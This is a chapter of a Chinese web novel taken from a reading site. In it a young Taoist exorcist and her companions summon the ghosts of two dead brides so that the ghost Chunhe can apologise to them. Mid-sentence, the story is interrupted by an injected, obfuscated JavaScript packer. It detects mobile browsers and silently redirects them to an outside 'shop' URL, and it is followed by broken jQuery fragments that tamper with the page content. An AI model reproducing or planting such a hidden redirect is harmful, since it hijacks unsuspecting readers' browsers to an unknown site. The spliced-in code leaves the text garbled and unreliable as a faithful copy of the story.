文趣网 > 其他小说 > 身在福中不知符 > 15. 嘿嘿,下次一定
    林跃见他醒了又倒,以为伤得严重。鼻血还在流,雪地里的人却死了般纹丝不动。陆九韶抬腿就给了云迹一脚,谢无妄也觉心虚,赶紧去抱那雪人。

    沈禔福被扶着进了屋,鲜血还在淌,春禾都懵了。

    陆九韶掐着云迹:“你力道那么大,捉鬼的时候怎么一点不用。”云迹捂着手臂躲得远远的。

    林跃烧了热水去淋手帕,递与沈禔福。沈禔福看着那热帕不知该不该接。

    林跃一脸莫名其妙地瞧他,见他不接便直接叠起盖住他鼻梁。热气熏得他双眼不住地眨,他也不敢去揭那手帕。

    我哪里惹她不开心了吗?

    是上次态度不好吗她还没原谅我吗?

    难道是恼他擅自抱她进屋?

    一定是的!心里想了一大圈的沈禔福不再纠结,仰着头配合林跃。

    兰漪正欲开口,门便被人撞了进来。

    “少爷!手帕来了!有些冰你忍着些!”

    务心虔诚地捧了泡了井水的手帕冲了进来,双手被冻得通红。

    沈禔福鼻边也通红,被烫的。被热气熏活了的血又开始流。

    兰漪才缓缓开口:“跃儿,流鼻血得冷敷…”

    林跃见沈禔福鼻血未停,一把抓下沈禔福脸上的帕子,小声蛐蛐:“那么热在脸上,也不知说。”

    她越想越没道理,把手帕扔回沈禔福手里插着腰理直气壮道:“我那是想着这天那么冷,你冷敷完再拿来缓缓!谁让你现在就敷上啦。”

    “还有你务心,接个井水那么慢!怪不得你家郎君不带你!”

    恼羞成怒的林跃扭头就走,还牵走了兰漪。务心委屈地想说话,沈禔福已经躺了下去闭了眼心想,完了,她好像更生气了。

    鬼新娘事物还未了,几日里林跃同叶如暄将卷宗看了个遍,将那些与被春禾杀的新郎定亲的新娘都记了名。

    有些未嫁成仍在家中,陆九韶别扭地借了捉妖司名头去家中询问她们态度。大多都是庆幸,庆幸没有跳入火坑,尽管有些碎嘴子会骂她们,可一切也没她们自己重要。

    剩了些是生气发怒,觉得春禾打破了她们的日子。明明嫁过去忍一忍便罢,可没人过问过她们。林跃便带了春禾进去,可她们见春禾崎岖的腿,后悔的泪,也都只是哭自己命苦哭春禾不幸。

    还有自尽了的,林跃说她只能一试。

    星光微点,几名少女在台阶上等至半夜。陆九韶坐得离春禾最远,皱着眉靠在林跃肩上小憩。兰漪握紧了春禾的手,宽慰地笑。叶如暄手肘在膝盖上捧着自己的脸,一双大眼圆溜溜的。

    沈禔福与务心正按着林跃画的图摆桌子,庭院中央一张木桌。桌上设了六只礼烛还未点。左前边挂了一幡,呈红黄之色。中立铜鼎,干净整洁。

    谢无妄跟在后面左摸摸右摸摸,云迹去把院门打开,贴了俩黄符。

    夜深露重,风也吹得肆意。几人困意更甚了些,林跃起身咳了两声想打破有些冷的氛围,撩了撩幡说:“沈郎君这些器物比我师傅还齐全些。”

    正往袋里掏东西的沈禔福手一顿,仔细回味了方才的话语。是说我太隆重了吗?损了她师傅面子?赶紧把东西往袋里塞回,将袋藏至一边,站得端正。

    林跃正打量着,被突如其来的目光吓一跳。下意识也站得笔直,算了算时辰。

    她今日换了她师傅说办正事才穿的衣裳。大红袖占了她半个手臂,青蓝色法衣上织了云鹤纹,慧剑形的领口缀了玄色凤凰,前简后繁,十分庄重。

    却挽了个多鬟髻,红绒球挂在发间,抬手是取了一绳的五彩绳,活脱脱似个天上的小鹤童。

    小鹤童跑进屋里拿了笔墨纸砚出来,全然没瞧见一旁站着的沈禔福又摸了摸袋子,袋里是他没摆上去的上好的笔墨纸砚。

    趴着书写了整整一刻,字迹潦乱,却一看就让人信服,因方才谁说话她都不曾搭理。纸上还有几笔画,不大不小。

    林跃沉下脸,开始拜往南边,走大步北斗型。铜铃随着她脚步晃荡,皱眉掐着诀位,凝神屏气。步至桌前,上了三香,一一点了烛火,猛地在纸上拍下铜铃!

    刹那巨风卷来,鹤童法衣吹得半披,掀起青衣袍角。一步踏出,林跃闭眼双手合指向院门,檀唇轻启诵咒。

    天色巨变。方才月明星稀的黑夜突然砸下雨点,风声在所有人耳边呼啸。院门被风拍得巨响,众人也紧张地望向院门。

    片刻后,无甚动静……

    林跃手没动睁开一只眼除了风雨什么也没招来,又收手点了一次。风声又来,却不见任何鬼影。

    尴尬地闭眼深吸一口气,正准备大声诵咒。一定是诵咒太小声了,怎么会出问题呢。身后便传来务心的尖叫声。

    回头一瞧,排排坐的一行人身旁多了两个女子。一鬼坐在务心身旁穿着红色嫁衣头发凌乱混湿,应当是跳河自尽那位;另一个鬼穿金戴银,穿得也十分得体,就是脑袋上有一个大坑十分显眼,应是那官家小姐撞柱而亡。

    “嘿嘿,好像方向是弄错了,下次一定。”

    春禾早已飘了起来,飘到两位女子身边停住,哽咽地不知从何说起。

    两个女鬼也是一脸莫名,她们正躺着吃点心就被点了姓名生辰召到这院中来,院中少女还完全开错了方向,她们只好顺着穿后墙而进。

    兰漪给了春禾一个坚定的眼神,让她不再逃避。陆九韶背过身去不想瞧,耳朵却也不住地竖直了。

    春禾定了定努力不让自己下半身飘忽,可还是随着心里的不安定一直飘着。她郑重地表达了对不起,她的居高临下自以为是导致了她们的处境艰难导致了她们的死亡。

    她不是有意的,她只是不想让她们跳进火坑,可她不知道这世道无论如何选择都是火坑,她根本无法代替她人做那个选择的人。可被辱骂被为难是真实的,她哭着说了一切。从自己说到她们,从那些该死的新郎说到她们的无妄之灾。

    越说越哽咽越说越飘忽,

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17620886|205953||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    血泪又开始淌。叶如暄气愤地别过了头,她不想见这种场面。她还是认为那些该死的人就该杀,一切都不是她们的错。要错也是世道的错!

    低着头的春禾突然被人拉住,微微颤抖的肩膀被人按下,飘忽的身子被接了下来。一左一右,两个鬼眸底氤氲,泪珠滚动。

    撞柱那位大剌剌地搂着春禾:“是你呀,谢谢呀。其实你不杀那死人我也会逃的,我爹为了讨好那官把我关起来了。我逃走也不知道是个什么下场,你杀了正好!我本就不是因着那什么破名声寻死的。”

    另一边已然哭得泪眼汪汪的女子也怯懦地说:“我确是因那些话太难听,不堪受辱跳河的。跳下去其实就后悔了,还是命更重要……”

    春禾身子又飘了起来,她又连忙把她拉住:“不过我知晓这不怪你,我胆小…如若真嫁过去恐怕死得会更难看。”

    “而且下界挺好的……我与阿姊一同,没有人折辱我们,也没有人将我们视作不祥。”女鬼鼓着双眼认真地摇头

    撞柱女子拉着春禾愤然:“对啊!你那郎君叫何名,我们去找他再打他一顿!下界里这些死因败坏的都贴了名帖在上,最不讨好了,人人喊打!”

    春禾哭声停了,被接住的身子也不再飘忽。两边是炙热且全无责怪的双眼。一鬼脑袋凹了进去,一鬼湿漉漉的头发还挂了根水草,笑出声来。

    云迹瞧见这般场景,用手肘撞了撞陆九韶。陆九韶热泪含着,却是肘了回去冷哼了一声回了房,云迹捂着手肘叫苦连天。

    兰漪转头见林跃,林跃不知在想些什么,目光发直的望着她们。两人双手握上,给她们留了地好好交谈也转身回屋,走时还提醒了让她们找间屋子去,外面风大。

    叶如暄坐了过去加入三个女鬼的怨气中,气愤地骂了那些家伙一遍。谢无妄也没走得掉,被叶如暄指着一同吐槽他卖队友,啪嗒银扇打开,一如既往地挡住了脸。

    沈禔福把手臂上缠着的务心薅了下来,兢兢业业地收拾了残局。风声鹤唳,沈禔福瞧着手上的香灰,不知自己如何走到这一步的。

    许是从上山开始,便在还债了。想了想便摇了摇脑袋,认真地收拾起来。

    步至廊桥,便听见铜铃声作响,将风声也变得柔和起来。

    躺在床上的沈禔福,毫无睡意。他睡眠本就是要么突然昏厥过去,要么睡不了。自己想睡时睡不着,不想睡时又会不受控制。

    苦笑一声,看着眼前的符文。黄符纸紧黏在床顶上,帷幔微荡。

    符文不似方才的鬼画符,虽一样瞧不懂是何字,却能看出几分认真。是一笔一划地画出来的,连贯画下来。

    和今日的林跃一般认真,沈禔福心里想着林跃今夜的红绒球,真似个小福娃。身上法衣也十分漂亮,改日他也要买一身同花色的,他以前怎么没发现那花色那么好看呢。

    神思越想越飘浮,伴着隔壁林跃门上的铜铃声,沈禔福合眼睡着了,脑力神思还是青蓝色衣与那红袖。